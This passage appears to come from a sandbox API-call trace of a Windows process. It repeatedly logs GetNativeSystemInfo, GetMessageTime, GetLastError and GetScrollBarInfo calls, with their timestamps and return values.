dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.001] GetMessageTime () returned 0 [0029.001] GetLastError () returned 0x578 [0029.001] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.001] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.001] GetMessageTime () returned 0 [0029.001] GetLastError () returned 0x578 [0029.001] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.001] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.002] GetMessageTime () returned 0 [0029.002] GetLastError () returned 0x578 [0029.002] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.002] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.002] GetMessageTime () returned 0 [0029.002] GetLastError () returned 0x578 [0029.002] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.002] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.002] GetMessageTime () returned 0 [0029.002] GetLastError () returned 0x578 [0029.002] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.002] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.002] GetMessageTime () returned 0 [0029.002] GetLastError () returned 0x578 [0029.002] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.002] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.002] GetMessageTime () returned 0 [0029.002] GetLastError () returned 0x578 [0029.002] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.002] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.002] GetMessageTime () returned 0 [0029.002] GetLastError () returned 0x578 [0029.002] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.002] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.003] GetMessageTime () returned 0 [0029.003] GetLastError () returned 0x578 [0029.003] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.003] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.003] GetMessageTime () returned 0 [0029.003] GetLastError () returned 0x578 [0029.003] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.003] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.003] GetMessageTime () returned 0 [0029.003] GetLastError () returned 0x578 [0029.003] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.003] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.003] GetMessageTime () returned 0 [0029.003] GetLastError () returned 0x578 [0029.003] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.003] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.003] GetMessageTime () returned 0 [0029.003] GetLastError () returned 0x578 [0029.003] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.003] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.003] GetMessageTime () returned 0 [0029.003] GetLastError () returned 0x578 [0029.003] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.003] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.004] GetMessageTime () returned 0 [0029.004] GetLastError () returned 0x578 [0029.004] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.004] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.004] GetMessageTime () returned 0 [0029.004] GetLastError () returned 0x578 [0029.004] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.004] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.004] GetMessageTime () returned 0 [0029.004] GetLastError () returned 0x578 [0029.004] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.004] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.004] GetMessageTime () returned 0 [0029.004] GetLastError () returned 0x578 [0029.004] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.004] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.004] GetMessageTime () returned 0 [0029.004] GetLastError () returned 0x578 [0029.004] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.004] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.004] GetMessageTime () returned 0 [0029.004] GetLastError () returned 0x578 [0029.004] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.004] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.006] GetMessageTime () returned 0 [0029.006] GetLastError () returned 0x578 [0029.006] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.006] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.006] GetMessageTime () returned 0 [0029.006] GetLastError () returned 0x578 [0029.006] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.006] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.006] GetMessageTime () returned 0 [0029.006] GetLastError () returned 0x578 [0029.006] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.006] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.006] GetMessageTime () returned 0 [0029.006] GetLastError () returned 0x578 [0029.006] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.006] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.007] GetMessageTime () returned 0 [0029.007] GetLastError () returned 0x578 [0029.007] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.007] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.007] GetMessageTime () returned 0 [0029.007] GetLastError () returned 0x578 [0029.007] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.007] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.007] GetMessageTime () returned 0 [0029.007] GetLastError () returned 0x578 [0029.007] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.007] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.007] GetMessageTime () returned 0 [0029.007] GetLastError () returned 0x578 [0029.007] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.007] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.007] GetMessageTime () returned 0 [0029.007] GetLastError () returned 0x578 [0029.007] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.007] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.007] GetMessageTime () returned 0 [0029.007] GetLastError () returned 0x578 [0029.007] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.008] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.008] GetMessageTime () returned 0 [0029.008] GetLastError () returned 0x578 [0029.008] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.008] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.008] GetMessageTime () returned 0 [0029.008] GetLastError () returned 0x578 [0029.008] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.008] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.008] GetMessageTime () returned 0 [0029.008] GetLastError () returned 0x578 [0029.008] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.008] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.008] GetMessageTime () returned 0 [0029.008] GetLastError () returned 0x578 [0029.008] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.008] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.008] GetMessageTime () returned 0 [0029.008] GetLastError () returned 0x578 [0029.008] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.008] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.008] GetMessageTime () returned 0 [0029.008] GetLastError () returned 0x578 [0029.008] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.009] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.009] GetMessageTime () returned 0 [0029.009] GetLastError () returned 0x578 [0029.009] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.009] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.009] GetMessageTime () returned 0 [0029.009] GetLastError () returned 0x578 [0029.009] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.009] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.009] GetMessageTime () returned 0 [0029.009] GetLastError () returned 0x578 [0029.009] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.009] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.009] GetMessageTime () returned 0 [0029.009] GetLastError () returned 0x578 [0029.009] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.009] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.009] GetMessageTime () returned 0 [0029.009] GetLastError () returned 0x578 [0029.009] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.009] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.009] GetMessageTime () returned 0 [0029.009] GetLastError () returned 0x578 [0029.010] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.010] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.010] GetMessageTime () returned 0 [0029.010] GetLastError () returned 0x578 [0029.010] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.010] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.010] GetMessageTime () returned 0 [0029.010] GetLastError () returned 0x578 [0029.010] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.010] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.010] GetMessageTime () returned 0 [0029.010] GetLastError () returned 0x578 [0029.010] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.010] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.010] GetMessageTime () returned 0 [0029.010] GetLastError () returned 0x578 [0029.010] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.010] 